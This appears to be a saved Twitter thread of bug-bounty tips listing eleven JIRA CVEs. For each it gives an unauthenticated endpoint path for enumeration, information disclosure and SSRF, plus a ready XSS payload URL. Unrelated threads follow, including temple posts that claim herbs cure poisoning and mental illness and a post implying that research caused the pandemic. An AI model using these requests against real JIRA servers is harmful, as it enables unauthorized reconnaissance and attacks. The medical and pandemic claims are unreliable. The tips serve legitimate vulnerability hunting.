BC SOFTWARE

Saved by @CodyyyGardner

Harsh Bothra
@harshbothra_ 4 years, 4 months ago 1248 views

Save to PDF Share See On Twitter

#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=

(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.

(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa

(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
8. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]

(6/n)
9. CVE-2019-8449 (User Information Disclosure)
a. Navigate to /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.

(7/n)
10. CVE-2019-3403 (User Enumeration)
a. Navigate to /rest/api/2/user/picker?query=
b. Observe the difference in response when valid vs. invalid user is queried.

(8/n)

11. CVE-2019-8442 (Sensitive Information Disclosure)

a. Navigate to /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.

(n/n)
Tools: Nuclei Template can be used to automate most of these CVEs Detection.
H1 Reports:
- https://t.co/AaXKHt4NZZ
- https://t.co/hNrzpDgB5A
Blogs:
- https://t.co/ZMVc80vrYQ

More from Software

Matt Bennett
@LongvueMatt

There is real opportunity to:

- scale a HoldCo
- focused on a portfolio of software & digital-forward assets
- serving niche and/or traditionally sleepy verticals

A playbook to follow...

But first... why is there opportunity?

- software is eating the world (& APIs are eating software)
- there are great product opp's for those who know where to look
- theres no real competition
- SaaS/subscription is the best delivery model out there (build once, sell twice+)

And why now?

We’re entering what I call the ‘Deployment Era’ ... where more traditional (sleepy) businesses will increasingly leverage software/tech to improve their model

And the best part is... we're on the front-end of riding this longer-term wave

So what does this mean?

Software (& other digital-first products) will eat more of the ‘traditional SMB’ stack

But most aren’t focused here bc it isn’t sexy or cool…

Which is where the opp is for those who have the right deal nose & know what to build & for who

There is big opportunity to build/scale in overlooked places...

Where you can build/acquire assets that have the best econ delivery model (SaaS/sub), w/ low competition, where you have an inside edge/know everyone in industry, & can do it when no one is looking

Jessica G. Young
@JessGeraldYoung

@JuliaLMarcus @Iplaywithgerms This paper gives documentation on software (with causal reasoning, assumptions reviewed in appendix) for a parametric approach to estimating either "total effects" or "controlled direct effects" with competing events and time-varying

@Iplaywithgerms Total effects capture paths by which treatment affects competing event (e.g. protective total effect of lifesaving treatment on dementia may be wholly/partially due to effect on survival). Controlled direct effects do not capture these paths

@Iplaywithgerms More detailed reasoning on the difference and tradeoffs between total and controlled direct effects and causal reasoning in the point treatment context provided here along with description of some estimators and

@Iplaywithgerms If you are familiar with more robust approaches like IPW or even better TMLE for time-varying treatment, these are trivially adapted to go after the controlled direct effect by simply treating competing events like loss to follow-up (censoring). e.g.

@Iplaywithgerms Examples of IPW estimation of the total effect of a time-varying treatment described in Appendix D of this paper:
https://t.co/RNhcgTBMkb
And here
https://t.co/rMWmwFBWwV
Others in reference lists of above papers.

Advertisement

Sunil Kumar
@sunilc_

Most commonly used AWS services:

🧵👇🏻

1. Elastic Compute Cloud (EC2):

EC2 instances are basically servers with an operating system which can be used to run your applications on the internet just like you run your applications on your laptop during development.

2. Relational Database Service (RDS):

RDS is a distributed relational database service.

Amazon RDS is available on several database instance types - optimised for memory, performance or I/O - and provides six familiar database engines to choose from, including:

- Amazon Aurora
- PostgreSQL
- MySQL
- MariaDB
- Oracle Database
- SQL Server

3. Elastic Container Service (ECS):

AWS ECS is a fully managed container orchestration service.

ECS has been a foundational pillar for key Amazon services and it can natively integrate with other services such as Amazon Route 53, Secrets Manager, AWS Identity and
...

Nirbhay Vashisht
@nirbhayvashisht

How to join a developer community?
or
How to find mentors/developer friends?

A detailed thread 🧵👇

For context I have been a part of various developer communities for ~3 Years. I have found that learning with people is the best and most effective way to learn.

So here are the ways you can join a developer community:

💻 If you are a student

Many companies have their campus ambassadors/ Hack clubs / Developer club program that you can join or lead in your campus.

Some of my favorites:

⚡️Student Ambassador program @Microsoft (I am a part of this for 2 years now)

foone
@Foone

1. in the beginning, browsers didn't have download statusbars
2. firefox got a browser statusbar extension. it was configurable and worked well
3. chrome cloned it without options and it didn't work as well

4. firefox realized chrome was faster and more secure at everything and therefore dropped extensions
5. now firefox doesn't have a download statusbar either

6. someone reimplements download statusbars in firefox's new web-extensions format. it's terrible because of the inherent limitations of the significantly less flexible and powerful extension format

7. CHROME WINS! (with its terrible download statusbar implementation which can't be fixed by users, because No Options and No Skins and No Extensions)

this is where we are now

You May Also Like

What The Trans!?
@WhatTheTrans

A thread on how absurd the UK is on transgender issues and how the UK got so transphobic

In 2015 Parliament held an inquiry looking into the state of Transgender equality. Trans people of all stripes outlined many different problems across many, many different areas.

As a result Parliament created a list of recommendations including legal recognition for non binary people, gender recognition act reform, allowing 16 year olds to change their legal gender and reform of NHS gender identity services.

The government under Theresa May ignored everything that was recommended except for Gender recognition act reform. This act came into law in 2003 and gave trans men and women (but not non-binary people) the ability to legally change their gender on their birth certificates.

The process at that time to change your birth certificate under the GRA was to make an application to a panel of cisgender people who would decide if you were sufficiently trans based on your payslips, photo ID and bank statements. You would not get the option to speak to them.

(Also this process cost £140 which is just a tax on being trans)

$Anu Satheesh \U0001f1ee\U0001f1f3$

Anu Satheesh 🇮🇳...
@AnuSatheesh5

Thiruvizha Mahadeva Kshetram
#Alappuzha
#Keralatemples 🚩

Thiruvizha Mahadeva Kshetram is located in Cherthala and it is believed that Prathishta of temple was done by Vilwamangalam Swamy. Paramashiva is Swayambhu here and is worshipped as Kalakandha which means who swallowed

Halahala visham to save the world during Samudra mathanam.

It is a famous temple where people seek the blessings, for curing the Kaivisham. The poison given by someone to destroy a person is made to vomit here. This is removed by making them vomit the poison by a special

medicine.
The medicine for vomiting is made from a plant near temple by Palodathu family. The milk offered to Bhagwan is mixed with the extracts of the plant.

Story says that once this place was a dense forest, and a woman was looking for the presence of a tortoise in the pond

and the tip of her stick hit the bottom and it started bleeding in the pond.
Frightened, the lady informed every one and after searching in pond people found Swayambhu Lingam inside the pond. Thus Prathishta was done here.

Om Namah Shivaye
Shambo Mahadeva
🙏🕉🙏

Advertisement

The Chartians
@chartians

Took me 5 years to get the best Chartink scanners for Stock Market, but you’ll get it in 5 mminutes here ⏰

Do Share the above tweet 👆

These are going to be very simple yet effective pure price action based scanners, no fancy indicators nothing - hope you liked it.

https://t.co/JU0MJIbpRV

52 Week High
One of the classic scanners very you will get strong stocks to Bet on.

https://t.co/V69th0jwBr

Hourly Breakout
This scanner will give you short term bet breakouts like hourly or 2Hr breakout

Volume shocker
Volume spurt in a stock with massive X times

$Billy Bostickson \U0001f3f4\U0001f441&\U0001f441 \U0001f193$

Billy Bostickson 🏴👁&👁 ...
@BillyBostickson

1. Project 1742 (EcoHealth/DTRA)
Risks of bat-borne zoonotic diseases in Western Asia

Duration: 24/10/2018-23 /10/2019

Funding: $71,500
@dgaytandzhieva
https://t.co/680CdD8uug

2. Bat Virus Database
Access to the database is limited only to those scientists participating in our ‘Bats and Coronaviruses’ project
Our intention is to eventually open up this database to the larger scientific community
https://t.co/mPn7b9HM48

3. EcoHealth Alliance & DTRA Asking for Trouble
One Health research project focused on characterizing bat diversity, bat coronavirus diversity and the risk of bat-borne zoonotic disease emergence in the region.
https://t.co/u6aUeWBGEN

4. Phelps, Olival, Epstein, Karesh - EcoHealth/DTRA

5, Methods and Expected Outcomes
(Unexpected Outcome = New Coronavirus Pandemic)

Anu Satheesh
@AnuSatheesh5

Thrikkangode Sree Randu Moorthy Temple
Ottappalam, Kerala. 🚩
#keralatemples

This is very unique temple as Shiva and Vishnu both are in the “linga” form in the same Garbhagriham. The Srikovil is in a circular pattern. Temple's Prathishta was done by Parasurama.

Mahadeva and Maha Vishnu in the same Srikovil is very rare Prathishta, but poojas are done separately Dhara is done to Maha Vishnu here. People suffering from “KAIVISHAM” and mental illness are fully cured on drinking a medicinal herb supplied by a nearby family here.

The root of the banyan tree around the Ayyappa Sannidhanam is said to have great powers for skin ailments.

Very ancient temple but was covered with forest for many years.
Later two persons Chakki and Chaathan, while cutting trees their axe hit on the nearby
@SriramKannan77

Vigrahams and it suddenly started bleeding. Later Devaprashnam was held and thus found out that these were murthy's of Shiva and Vishnu which was worshipped long back. And thus temple is constructed here.
Om Namah Sivaye
Om Namo Narayanaya
🕉🙏🕉